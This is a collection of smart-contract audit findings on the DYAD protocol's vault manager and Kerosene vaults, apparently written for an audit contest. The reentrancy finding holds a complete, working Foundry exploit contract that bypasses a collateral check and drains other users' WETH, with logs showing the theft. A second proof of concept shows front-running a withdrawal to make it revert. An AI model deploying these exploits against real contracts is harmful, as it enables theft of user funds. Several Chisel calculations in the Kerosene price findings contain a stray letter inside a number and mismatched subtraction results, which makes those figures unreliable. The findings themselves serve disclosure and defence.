Nothing stops adding a Kerosene vault to `add()` & wethVault/wstEthVault to `addKerosene()` in VaultManagerV2 contract

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L67-L78
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L80-L91

Impact

The current logic of `VaultManagerV2::add()` allows Kerosene vaults to be added and `VaultManagerV2.adddKerosene()` allows wethVault/wstEthVault to be added. But only wethVault & wstEthVault should be added by `add()` and keroseneVaults should be added by `addKerosene()`.

Proof of Concept

The `VaultManagerV2::add()` looks like this:

```
File: VaultManagerV2.sol
76:   function add(uint id, address vault) external isDNftOwner(id) {
77:     // @note For adding Normal vault
78:     if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults();
79:     if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed();
80:     if (!vaults[id].add(vault)) revert VaultAlreadyAdded();
81:     emit Added(id, vault);
82:   }
```

You can see there is only 1 check for Vault type, which is license check, as UnboundedKeroseneVault is licensed by VaultLicenser so it will easily be added here.

Now let's have a look at `VaultManagerV2::addKerosene()`:

```
File: VaultManagerV2.sol
88:   function addKerosene(uint id, address vault) external isDNftOwner(id)
{
89:     if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert
TooManyVaults();
90:     if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed();
91:     if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded();
92:     emit Added(id, vault);
93:   }
```

As wethVault & wstWethVault are licensed by KeroseneManager they will be easily added here.

Tools Used

Manual review.

Recommended Mitigation Steps

Replace this check: `if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed();` with vaultLicenser check in `add()` & remove the keroseneManager check from `addKerosene()`. In `addKerosene()` one check can given which is checking that whether the asset of the vault address is Kerosene or not.

Wrong license check in `VaultManagerV2::getKeroseneValue()` results liquidation of a healthy position

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L280

Impact

To understand the issue we will have to understand how collateral ratio is calculated. To calculate the collateral ratio protocol calculates the USD value of 2 positions: 1. For non kerosene vaults and 2. for kerosene vaults.

Now take a looks how kerosene vaults are added:

1. First user calls the `VaultManagerV2::addKerosene()` with any of two [bounded or unbounded] kerosene vault address.
2. After that the `mapping(uint => EnumerableSet.AddressSet) internal vaultsKerosene` mapping is updated with the vault address i.e the vault address is added in `vaultsKerosene` mapping.

While calculating the collateral ratio the VaultManagerV2 contract calculates the USD value for both of positions, as i already mentioned above. One important thing to note here is, any of 2 kerosene vault contracts are not licensed by kerosene manager contract because the protocol does not want to account kerosene vault contracts while calculating TVL. Now take a closer look to `getKeroseneValue()`:

```
function getKeroseneValue(
  uint id
)
  public
  view
  returns (uint) {
```

```
    uint totalUsdValue;
    uint numberOfVaults = vaultsKerosene[id].length();
    for (uint i = 0; i < numberOfVaults; i++) {
      Vault vault = Vault(vaultsKerosene[id].at(i));
      uint usdValue;
      if (keroseneManager.isLicensed(address(vault))) {
        usdValue = vault.getUsdValue(id);
      }
      totalUsdValue += usdValue;
    }
    return totalUsdValue;
  }
```

Notice the `if` block:

```
if (keroseneManager.isLicensed(address(vault))) {
        usdValue = vault.getUsdValue(id);
      }
```

If the vault address is licensed by KeroseneManager contract then only update the `usdValue`. Now remember how kerosene vaults were added, it was added in `vaultsKerosene` mapping, so when in `getKeroseneValue()`, in `for` loop vaults will be fetched from the mapping, all vaults will be kerosene vaults, because only kerosene vaults were added in that mapping. As the kerosene vaults were not licensed by KeroseneManager contract the `usdValue` will not be updated here, so it's value will remain 0 and for that the `totalUsdValue` will be 0, so `getKeroseneValue()` will return 0.

In `VaultManagerV2::collatRatio()`, to calculate collateral ratio, protocol divides the total usd value of all positions by minted DYAD for that NFT id. Total usd value is calculated in `VaultManagerV2::getTotalUsdValue()`, by doing: `getKeroseneValue() + getNonKeroseneValue()`. Here, for kerosene vaults we got 0 as kerosene value.

As we know the minimum collateralization ratio is 150%. So, due to 0 value returned by `getKeroseneValue()` the accounting of collateral ratio may go below 150% and for that a healthy position will be liquidated.

Proof of Concept

1. Kerosene vaults are not licensed by KeroseneManager contract because protocol does not want to account kerosene vaults while calculating TVL: https://youtu.be/ok4CBaqEajM?si=2tb8PZSeCWQm8JX5&t=377 You can see only Vault.sol and Vault.wsteth.sol is licensed by kerosene manager: https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/script/deploy/Deploy.V2.s.sol#L64-L65

Tools Used

Manual review.

Recommended Mitigation Steps

Remove the license check from `for` loop in `VaultManagerV2::getKeroseneValue()`.

Kerosene cannot be withdrawn from unbounded kerosene vault due to wrong function call

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L148

Impact

The `Vault.kerosene.unbounded::withdraw()` is supposed to get called by VaultManagerV2 contract. Whenever a user want to withdraw his Kerosene he will call the `VaultManagerV2::withdraw()`, as kerosene can be withdrawn only from unbounded kerosene vault so, the user need to pass the unbounded kerosene vault address to the `VaultManagerV2::withdraw()` as vault address. One important thing to note here that, the value of kerosene is deterministic means it is determined in `Vault.kerosene.unbounded::assetPrice()`, protocol does not use any oracle to get the price of kerosene. Now take a closer look at this `VaultManagerV2::withdraw()`:

```
function withdraw(
  uint    id,
  address vault,
  uint    amount,
  address to
)
  public
    isDNftOwner(id)
{
  if (idToBlockOfLastDeposit[id] == block.number) revert
DepositedInSameBlock();
  uint dyadMinted = dyad.mintedDyad(address(this), id);
  Vault _vault = Vault(vault);
  uint value = amount * _vault.assetPrice()
               * 1e18
               / 10**_vault.oracle().decimals()
               / 10**_vault.asset().decimals();
  if (getNonKeroseneValue(id) - value < dyadMinted) revert
NotEnoughExoCollat();
  _vault.withdraw(id, to, amount);
  if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow();
}
```

Let assume unbounded kerosene vault address was passed as `vault` argument, so in this line: `Vault _vault = Vault(vault)` the contract initializes the `_vault` local variable with the unbounded kerosene vault contract address. After that, in this line: `/ 10**_vault.oracle().decimals()` the `oracle` is

called. But there no oracle was used in any of 2 kerosene vaults, so this call will revert, means user can't withdraw his kerosene token ever.

Proof of Concept

1. The value of kerosene is deterministic: https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/Vault.kerosine.unbounded.sol#L50-L68

2. No oracle was used in any of kerosene vault contracts: i. https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.sol ii. https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.unbounded.sol iii. https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.bounded.sol

Tools Used

Manual review.

Recommended Mitigation Steps

Remove the oracle call from accounting when vault address is unbounded kerosene vault.

Lack of input validation in `VaultManagerV2::withdraw()` result cross contract reentrancy by which attacker can steal funds of other users

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L134-L153

Impact

The `VaultManagerV2::withdraw()` contract does not check whether the passed vault address is authentic or not, this allows attacker to reenter in Vault.sol contract and steal funds of other users. However there a check for vault's authenticity, while the `withdraw()` calls the `getNonKerosineValue()`, but this can be easily bypassed.

Proof of Concept

First replace the BaseTest.sol file with this:

```
// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Test.sol";
```

```
import "forge-std/console.sol";
import {DeployBase, Contracts} from "../script/deploy/DeployBase.s.sol";
import {Parameters} from "../src/params/Parameters.sol";
import {DNft} from "../src/core/DNft.sol";
import {Dyad} from "../src/core/Dyad.sol";
import {Licenser} from "../src/core/Licenser.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {Payments} from "../src/periphery/Payments.sol";
import {OracleMock} from "./OracleMock.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";

contract BaseTest is Test, Parameters {
 DNft         dNft;
 Licenser     vaultManagerLicenser;
 Licenser     vaultLicenser;
 Dyad         dyad;
 VaultManagerV2 vaultManager;
 Payments     payments;

 // weth
 Vault        wethVault;
 ERC20Mock    weth;
 OracleMock   wethOracle;

 // dai
 Vault        daiVault;
 ERC20Mock    dai;
 OracleMock   daiOracle;

 function setUp() public {
   dNft       = new DNft();
   weth       = new ERC20Mock("WETH-TEST", "WETHT");
   wethOracle = new OracleMock(1000e8);

   Contracts memory contracts = new DeployBase().deploy(
     msg.sender,
     address(dNft),
     address(weth),
     address(wethOracle),
     GOERLI_FEE,
     GOERLI_FEE_RECIPIENT
   );

   vaultManagerLicenser = contracts.vaultManagerLicenser;
   vaultLicenser        = contracts.vaultLicenser;
   dyad                 = contracts.dyad;
   vaultManager         = contracts.vaultManager;
   wethVault            = contracts.vault;

   // create the DAI vault
   dai       = new ERC20Mock("DAI-TEST", "DAIT");
```

```
    daiOracle = new OracleMock(1e6);
    daiVault  = new Vault(
      vaultManager,
      ERC20(address(dai)),
      IAggregatorV3(address(daiOracle))
    );

    // add the DAI vault
    vm.prank(vaultLicenser.owner());
    vaultLicenser.add(address(daiVault));
  }

  receive() external payable {}

  function onERC721Received(
    address,
    address,
    uint256,
    bytes calldata
  ) external pure returns (bytes4) {
    return 0x150b7a02;
  }
}
```

Then replace the DeployBase.s.sol script with this:

```
// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Script.sol";
import {DNft}          from "../../src/core/DNft.sol";
import {Dyad}          from "../../src/core/Dyad.sol";
import {Licenser}      from "../../src/core/Licenser.sol";
import {VaultManagerV2}  from "../../src/core/VaultManagerV2.sol";
import {Vault}         from "../../src/core/Vault.sol";
import {Payments}      from "../../src/periphery/Payments.sol";
import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol";
import {IWETH}         from "../../src/interfaces/IWETH.sol";

import {ERC20} from "@solmate/src/tokens/ERC20.sol";

// only used for stack too deep issues
struct Contracts {
  Licenser     vaultManagerLicenser;
  Licenser     vaultLicenser;
  Dyad         dyad;
  VaultManagerV2 vaultManager;
  Vault        vault;
}
```

```
contract DeployBase is Script {

 function deploy(
   address _owner,
   address _dNft,
   address _asset,
   address _oracle,
   uint    _fee,
   address _feeRecipient
 )
   public
   payable
   returns (
     Contracts memory
   ) {
     DNft dNft = DNft(_dNft);

     vm.startBroadcast();  // ----------------------

     Licenser vaultManagerLicenser = new Licenser();
     Licenser vaultLicenser        = new Licenser();

     Dyad dyad                     = new Dyad(
       vaultManagerLicenser
     );

     VaultManagerV2 vaultManager     = new VaultManagerV2(
       dNft,
       dyad,
       vaultLicenser
     );

     Vault vault                   = new Vault(
       vaultManager,
       ERC20(_asset),
       IAggregatorV3(_oracle)
     );

     //
     vaultManagerLicenser.add(address(vaultManager));
     vaultLicenser       .add(address(vault));

     //
     vaultManagerLicenser.transferOwnership(_owner);
     vaultLicenser       .transferOwnership(_owner);

     vm.stopBroadcast();  // ----------------------------

     return Contracts(
       vaultManagerLicenser,
       vaultLicenser,
       dyad,
       vaultManager,
      vault
```

```
      );
  }
 }
```

I just removed the payment contract from those 2 contracts, rest of the code remains same.

Create a test file in **test** directory with any name of your choice and paste this contract:

```
// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import '../src/core/VaultManagerV2.sol';
import 'forge-std/console.sol';
import 'forge-std/Test.sol';
import {BaseTest} from './BaseTest.sol';
import {ERC20Mock} from './ERC20Mock.sol';
import {ERC20} from '@solmate/src/tokens/ERC20.sol';
import {OracleMock} from './OracleMock.sol';

contract AttackerContract is Test {
 ERC20 public asset;
 Vault public wethVault;
 VaultManagerV2 public vaultManager;
 OracleMock public oracle;

 constructor(ERC20 _asset, Vault _wethVault, VaultManagerV2 _vaultmanager,
OracleMock _oracle) {
   asset = _asset;
   wethVault = _wethVault;
   vaultManager = _vaultmanager;
   oracle = _oracle;
 }

 function withdraw(uint id, address to, uint amount) external {
   console.log('caller of deposit():', msg.sender);
   vm.stopPrank();
   vm.startPrank(address(vaultManager));
   console.log('Before calling move msg.sender:', msg.sender);
   wethVault.withdraw(0, to, 10e18);
   wethVault.withdraw(1, to, 10e18);
   vm.stopPrank();
 }

 function assetPrice() public pure returns (uint) {
   // returning asset price 0 to bypass 'NotEnoughExoCollat' check in
VaultManagerV2::withdraw()
   return 0;
 }

 function getAssetBalance() public view returns (uint) {
   return ERC20(asset).balanceOf(address(this));
```

```
  }
}

contract Reentrancy is BaseTest {
 AttackerContract public attackerContract;
 address public attacker = vm.addr(0x123);
 address public victim = vm.addr(0x456);
 address public victim2 = vm.addr(0x789);

 function setContracts() public {
   attackerContract = new AttackerContract(weth, wethVault, vaultManager,
wethOracle);
   vm.prank(vaultLicenser.owner());
   vaultLicenser.add(address(wethVault));
   vm.deal(address(attacker), 10 ether);
   vm.deal(address(victim), 10 ether);
   deal(address(weth), address(victim), 10e18);
   deal(address(weth), address(attacker), 10e18);
   vm.deal(address(victim2), 10 ether);
   deal(address(weth), address(victim2), 10e18);
 }

 function test_reentrancy2() public {
   setContracts();
   vm.startPrank(victim);
   dNft.mintNft{value: 1 ether}(address(victim)); // victim minting a dnft

   deposit(weth, 0, address(wethVault), 10e18); // victim deposited 10e18
WETH
   vaultManager.mintDyad(0,1,address(victim));
   vm.stopPrank();
   vm.startPrank(victim2);
   dNft.mintNft{value: 1 ether}(address(victim2)); // victim2 minting a
dnft

   deposit(weth, 1, address(wethVault), 10e18); // victim2 deposited 10e18
WETH
   vaultManager.mintDyad(1,1,address(victim2));
   vm.stopPrank();

   console.log("Before attack victim's asset balance:",
wethVault.id2asset(0));
   console.log("Before attack victim2's asset balance:",
wethVault.id2asset(1));
   // Now attacker started
   vm.startPrank(attacker);
   dNft.mintNft{value: 1 ether}(address(attacker)); // attacker minted a
dnft

   deposit(weth, 2, address(wethVault), 10e18); // @note attacker deposited
to wthVault to have some nonKerosene value
   vaultManager.mintDyad(2,1,address(attacker));
   vm.roll(2);
   vaultManager.withdraw(2, address(wethVault), 8e18, address(attacker));
```

```
// @audit attacker withdawn his own 2 weth
   vaultManager.withdraw(2, address(attackerContract), 20e18,
address(attacker)); // @audit then conducted the attack
   vm.startPrank(attacker);
   vaultManager.redeemDyad(2, address(wethVault), 1, address(attacker));
   vaultManager.withdraw(2, address(wethVault), 2e18, address(attacker));

   console.log("After attack attacker's asset balance:",
weth.balanceOf(address(attacker)));
   console.log("After attack victim's asset balance:",
wethVault.id2asset(0));
   console.log("After attack victim2's asset balance:",
wethVault.id2asset(1));
 }

 function deposit(ERC20Mock token, uint id, address vault, uint amount)
public {
   vaultManager.add(id, vault);
   token.approve(address(vaultManager), amount);
   vaultManager.deposit(id, address(vault), amount);
 }
}
```

So what is happening here, first 2 users, victim & victim2 minted dnft, added a wethVault and deposited 10e18 each of them, they minted 1 Dyad too. Fine, every thing is as expected here. Then attacker came, he also minted an dnft, added wethVault to Vault manager & deposited 10e18 , also minted 1 Dyad. But there is a reason behind adding the vault & the reason has an important role in this attack. If you see the VaultManagerV2::withdraw() there is a check:

```
     if (getNonKeroseneValue(id) - value < dyadMinted) revert
NotEnoughExoCollat();
```

So, the attacker can't add dummy contract as vault for that id, if he add then in `getNonKeroseneValue()` the check: `if (vaultLicenser.isLicensed(address(vault))) {` will be false and the function will return 0, which wont satisfy the check in `withdraw()` because it may be less than `dyadMinted`, so attacker passed real vault address, which is wethVault. Now attacker called `VaultManager::withdraw()` to withdraw 8 weth, and the withdraw was successful,not attacker has 2 weth remaining in `id2asset`. Till now everything seems good but attacker again called the `VaultManagerV2::withdraw()` with same NFT id and used his malicious contract as vault contract address, see this line from POC code:

```
vaultManager.withdraw(2, address(attackerContract), 20e18,
address(attacker));
```

here 2 is attacker's NFT id, `address(attackerContract)` is passed as vault address, 20e18 passed as amount, to note it is accumulated amount of both victim (10e18 + 10e18), attacker's address as passed as

`to`. Now, have a look at the attacker's contract, AttackerContract, in PoC. Okay, now let's see the `VaultManagerV2::withdraw()` and understand how the attack will be conducted:

```
 function withdraw(
   uint    id,
   address vault,
   uint    amount,
   address to
 )
   public
     isDNftOwner(id)
 {
   if (idToBlockOfLastDeposit[id] == block.number) revert
DepositedInSameBlock();
   uint dyadMinted = dyad.mintedDyad(address(this), id);
   Vault _vault = Vault(vault);
   uint value = amount * _vault.assetPrice()
                * 1e18
                / 10**_vault.oracle().decimals()
                / 10**_vault.asset().decimals();
   if (getNonKeroseneValue(id) - value < dyadMinted) revert
NotEnoughExoCollat();
   _vault.withdraw(id, to, amount);
   if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow();
 }
```

So, attacker called this function like this:

```
vaultManager.withdraw(2, address(attackerContract), 20e18,
address(attacker));
```

1. `dyadMinted` will return 1.
2. Vault will be initialized with attackerContract address.
3. Now `value` will be calculated, here you can see a call: `_vault.assetPrice()`, the attacker created a function in attack contract with the name of `assetPrice` which returns 0. Means the `value` will be 0. So no matter how much the `amount` is the `value` will always be 0.
4. Now we have a check: `if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();`, the passed `id` was 2, so for 2 `getNonKeroseneValue()` will return the usd value for 2 weth, as attacker only withdrawn 8 weth. And the `value` is 0 so, (the usd value for 2 weth - 0) is not less than DyadMinted so the check will pass. This is how the attacker bypassed the check.
5. `_vault.withdraw()` was called, as the `_vault` now is our attackerContract so AttackerContract::withdraw() is called, here the msg.sender is VaultManagerV2 contract, in the `AttackerContractV2::withdraw()` the `Vault::withdraw()` was called 2 times for each victim user, one for NFT id 0 and another for NFT id 1, passing the amount 10e18 for each because this amount they deposited, and for `to` attacker's address was passed. So what happens as the caller is

VaultManagerV2 contract those call will succeed and funds will be withdrawn from users account and credited to attacker.

After that attacker redeem his DYAD and withdraw his remaining 2 weth, so ultimately he got 30 WETH. Run the test with this command: `forge test --mt test_reentrancy2 -vvv`. Logs:

```
Ran 1 test for test/Reentrancy2.t.sol:Reentrancy
[PASS] test_reentrancy2() (gas: 1984928)
Logs:
 Before attack victim's asset balance: 10000000000000000000
 Before attack victim2's asset balance: 10000000000000000000
 caller of deposit(): 0xDB8cFf278adCCF9E9b5da745B44E754fC4EE3C76
 Before calling move msg.sender: 0xDB8cFf278adCCF9E9b5da745B44E754fC4EE3C76
 After attack attacker's asset balance: 30000000000000000000
 After attack victim's asset balance: 0
 After attack victim2's asset balance: 0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.03ms (2.43ms
CPU time)
```

Tools Used

Manual review, Foundry.

Recommended Mitigation Steps

Put a check in `VaultManagerV2::withdraw()` for vault address authenticity.

Malicious user can front run an user's withdrawal & make that withdrawal revert

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L125
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L143
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L127

Impact

As per the rule of this protocol one can can't withdraw in same block in which he deposited. For ex- if an user deposited in 23423411 block then he can't withdraw in same block, he will have to wait until next block come. However, an malicious user can take this advantage and revert an valid withdrawal by depositing asset for that user's NFT id. In `VaultManagerV2::deposit()` a modifier was used: `isValidNft(id)` which checks that whether the owner of that NFT id is address(0) or not, it is visible that anyone can call this

`deposit()` to deposit asset for a valid NFT id, this is intended too. But in `VaultManagerV2::withdraw()` there is a check:

```
    if (idToBlockOfLastDeposit[id] == block.number) revert
DepositedInSameBlock();
```

Means you can't withdraw in same block. So what attacker can do is, when he see a transaction for withdraw in mempool he will front that transaction by depositing 1 wei of asset, for example 1 wei of WETH, so as the `idToBlockOfLastDeposit[id] = block.number;` is updated in `deposit()` with new block number the withdrawal will revert.

Proof of Concept

Replace the BaseTest.sol file with this: Replace the DeployBase.s.sol script with this:

Now create file in **test** directory and paste this:

```
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;

import './BaseTest.sol';
import 'forge-std/Test.sol';
import '../src/interfaces/IVaultManager.sol';
import {ERC20Mock} from './ERC20Mock.sol';

contract RevertWithdraw is BaseTest {
 address attacker;
 address user;

 function set() public {
   attacker = vm.addr(0x123);
   user = vm.addr(0x456);
   deal(address(weth), address(user), 10e18);
   deal(address(weth), address(attacker), 10e18);
   vm.deal(user, 10 ether);
 }

 function test_frontRun() public {
   set();
   vm.startPrank(user);

   dNft.mintNft{value: 1 ether}(address(user));
   deposit(weth, 0, address(wethVault), 10e18);
   vaultManager.mintDyad(0, 1, address(user));
   vm.stopPrank();
   vm.roll(2);
   vm.startPrank(attacker);
   weth.approve(address(vaultManager), 10);
   //! Attacker front run the user's withdraw call and deposited 1 wei of
WETH
```

```
    vaultManager.deposit(0, address(wethVault), 1);
    vm.stopPrank();
    vm.prank(user);
    vm.expectRevert(IVaultManager.DepositedInSameBlock.selector);
    vaultManager.withdraw(0, address(wethVault), 5e18, address(user));
  }

  function deposit(ERC20Mock token, uint id, address vault, uint amount)
private {
    vaultManager.add(id, vault);
    token.approve(address(vaultManager), amount);
    vaultManager.deposit(id, address(vault), amount);
  }
}
```

Run this test with: `forge test --mt test_frontRun`

Tools Used

Manual review, Foundry.

Recommended Mitigation Steps

Put a limit of deposit, at least no one can deposit 1 wei of WETH.

Any user can increase the Kerosene price by depositing WETH so when other user will withdraw Keosene more value will be deducted from his nonkerosene amount for his exogenous collateral check

---

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L50
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L146
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.sol#L60-L67

Impact

As price of Kerosene highly depends on the amount of weth & wstEth in ethVault & wstEthVault, any user can deposit big amount of weth, for example 50 weth, and increase the price of kerosene instantly. Now

when any user will call the withdraw() in VaultManagerV2 contract more value (than should be) will be deducted from his non-kerosene value to check whether the user has enough exogenous collateral or not:

```
uint value = amount * _vault.assetPrice()
             * 1e18
             / 10**_vault.oracle().decimals()
             / 10**_vault.asset().decimals();
```

Proof of Concept

Assume an user has 50 kerosene and he want to withdraw that. Attack steps:

1. user will call VaultManagerV2::withdraw() to withdraw 50 Kerosene.
2. attacker will front run the call, and will deposit 50 WETH.This will increase the price of Kerosene.
3. The user will go through exogenous collateral check for more value than it should be.

So in unbounded kerosene vault contract the assetPrice of kerosene is calculated like that:

```
  uint tvl;
  address[] memory vaults = kerosineManager.getVaults();
  uint numberOfVaults = vaults.length;
  for (uint i = 0; i < numberOfVaults; i++) {
    Vault vault = Vault(vaults[i]);
    tvl += vault.asset().balanceOf(address(vault))
           * vault.assetPrice() * 1e18
           / (10**vault.asset().decimals())
           / (10**vault.oracle().decimals());
  }
  uint numerator   = tvl - dyad.totalSupply();
  uint denominator = kerosineDenominator.denominator();
  return numerator * 1e8 / denominator;
```

here we assume the price of WETH & stETH is: 326582208201, this is latest price of WETH at the time of writing this report, and the price of stETH is 325594269867. So, we will got with 326582208201 price for ease of our calculation as both price are very close. Now assume there are already 200 WETH in both vault in total. So the Kerosene price:

```
➜ 200*1e18*uint(326582208201)*1e18/10**18/10**8
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000008a501d2ca839c7f32000
├ Hex (full word):
0x0000000000000000000000000000000000000008a501d2ca839c7f32000
└ Decimal: 653164416402000000000000
➜ 653164416402000000000000 - 632967400000000000000000
Type: uint256
├ Hex: 0x000000000000000000000000000000000000000000446e1e8713d6c0f2000
├ Hex (full word):
```

```
0x0000000000000000000000000000000000000000000446e1e8713d6c0f2000
└ Decimal: 2019701640200000000000
➜ uint(2019701640200000000000) * 1e18 / uint(99327052489905787348586800O)
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000000000000127e580efcc5
├ Hex (full word):
0x0000000000000000000000000000000000000000000000000000127e580efcc5
└ Decimal: 20333852556485
```

Now asset price is: 20333852556485, If we call the Vault.kerosene::getUsdValu() for this value will will get:

```
➜ uint num = 50 * uint(20333852556485) / 1e8;
➜ num
Type: uint256
├ Hex: 0x000000000000000000000000000000000000000000000000000009b228e
├ Hex (full word):
0x000000000000000000000000000000000000000000000000000009b228e
└ Decimal: 10166926
```

50 is the kerosene balance of the user. So for 50 kerosene the usd value is: 10166926. Now let's calculate the `value`, in VaultManagerV2::withdraw(), for this asset price:

```
➜ uint value1 = (50 * uint(20333852556485) * 1e18)/10**8/10**18
➜ value1
Type: uint256
├ Hex: 0x000000000000000000000000000000000000000000000000000009b228e
├ Hex (full word):
0x000000000000000000000000000000000000000000000000000009b228e
└ Decimal: 10166926
```

50 because the user wants to withdraw 50 Kerosene.

Now attacker deposited 50 WETH, which increased the asset amount to 250 WETH. Let's calculate the Kerosene price for this amount:

```
➜ 250*1e18*uint(326582208201)*1e18/10**18/10**8
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000000ace42477d24839efe800
├ Hex (full word):
0x0000000000000000000000000000000000000000ace42477d24839efe800
└ Decimal: 816455520502500000000000
➜ 816455520502500000000000 - 63296740000000000000000
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000026dae9339b4bde0be800
├ Hex (full word):
0x0000000000000000000000000000000000000026dae9339b4bde0be800
└ Decimal: 1834881205025000000000000
```

```
➜ uint(183488120502500000000000) * 1e18 /
uint(993270524899057873485868000)
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000000000000000a803196d204c
├ Hex (full word):
0x0000000000000000000000000000000000000000000000000a803196d204c
└ Decimal: 184731264950348
```

So now kerosene price is: 184731264950348. Lets calculate the USD value for this kerosene price:

```
➜ uint num2 = 50 * uint(184731264950348)/1e8;
➜ num2
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000000000000000005816340
├ Hex (full word):
0x0000000000000000000000000000000000000000000000000005816340
└ Decimal: 92365632
```

You can see this is almost 9 times big than previous, lets calculate the difference:

```
➜ 92365632 - 10166926
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000000000000000004e640b2
├ Hex (full word):
0x0000000000000000000000000000000000000000000000000004e640b2
└ Decimal: 82198706
```

Now, let calculate the `value` from withdraw():

```
➜ uint value2 = (50 * uint(184731264950348) * 1e18)/10**8/10**18
➜ value2
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000000000000000005816340
├ Hex (full word):
0x0000000000000000000000000000000000000000000000000005816340
└ Decimal: 92365632
```

And if we see the difference:

```
➜ 92365632 - 10166926
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000000000000000004e640b2
├ Hex (full word):
0x0000000000000000000000000000000000000000000000000004e640b2
└ Decimal: 82198706
```

So this is huge difference, just adding the 50 WETH increased the Kerosene price too much.

Now the user will withdraw his kerosene amount with this price. After that the attacker will withdraw his Weth amount.

We can visualize this attack from this image:
https://drive.google.com/file/d/1pMw8CM5S5IcQV22AGraAt8nqjq-aDwwg/view?usp=sharing

Tools Used

Manual review, Chisel.

Recommended Mitigation

Add slippage protection.

As of current implementation 1 kerosene token price is 0 when the total deposited amount in both vaults is 9000e18

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.sol#L60-L67

Impact

This could be intended but the current implementation returning the USD value of 1 KEROSENE token for unbounded kerosene vault is 0 even when total deposited amount in both vaults(ethVault & wstETHVault) is 9000e18.

Proof of Concept

We assume the price of WETH & stETH is: 326582208201, this is latest price of WETH at the time of writing this report, and the price of stETH is 325594269867. So, we will go with 326582208201 price for ease of our calculation as both price are very close. We know, kerosene.totalSupply = 1000000000e18 and, kerosene balance of MAINNET_OWNER = 950841953470486444914439000 So, denominator = 1000000000e18 - 950841953470486444914439000 = 49158046529513555085561000. DYAD total supply = 622967400000000000000000. Imagine we have 9000 weth in both vaults. So, lets calculate the price of 1 kerosene token for unbounded kerosene vault:

```
➜ 9000*1e18*uint(326582208201)*1e18/10**18/10**8
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000018501520d9922825bca000
├ Hex (full word):
0x0000000000000000000000000000000000000018501520d9922825bca000
```

```
└ Decimal: 2939239873809000000000000
➜ 2939239873809000000000000 - 622967400000000000000000
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000017cc29ff7624e67c18a000
├ Hex (full word):
0x0000000000000000000000000000000000000017cc29ff7624e67c18a000
└ Decimal: 28769431338090000000000000
➜ uint(28769431338090000000000000)*1e8/uint(49158046529513555085561000)
Type: uint256
├ Hex: 0x00000000000000000000000000000000000000000000000000000037d02c6
├ Hex (full word):
0x00000000000000000000000000000000000000000000000000000037d02c6
└ Decimal: 58524358
```

And if we calculate the USD value of this then it will be:

```
➜ uint usdValue = 1*uint(58524358)/1e8;
➜ usdValue
Type: uint256
├ Hex: 0x0
├ Hex (full word): 0x0
└ Decimal: 0
```

So, you can see the USD value of 1 kerosene token is 0.

Tools Used

Manual analysis, Chisel.

Recommended Mitigation Steps

As I already said it could be intended but if it is not then a legit fix required.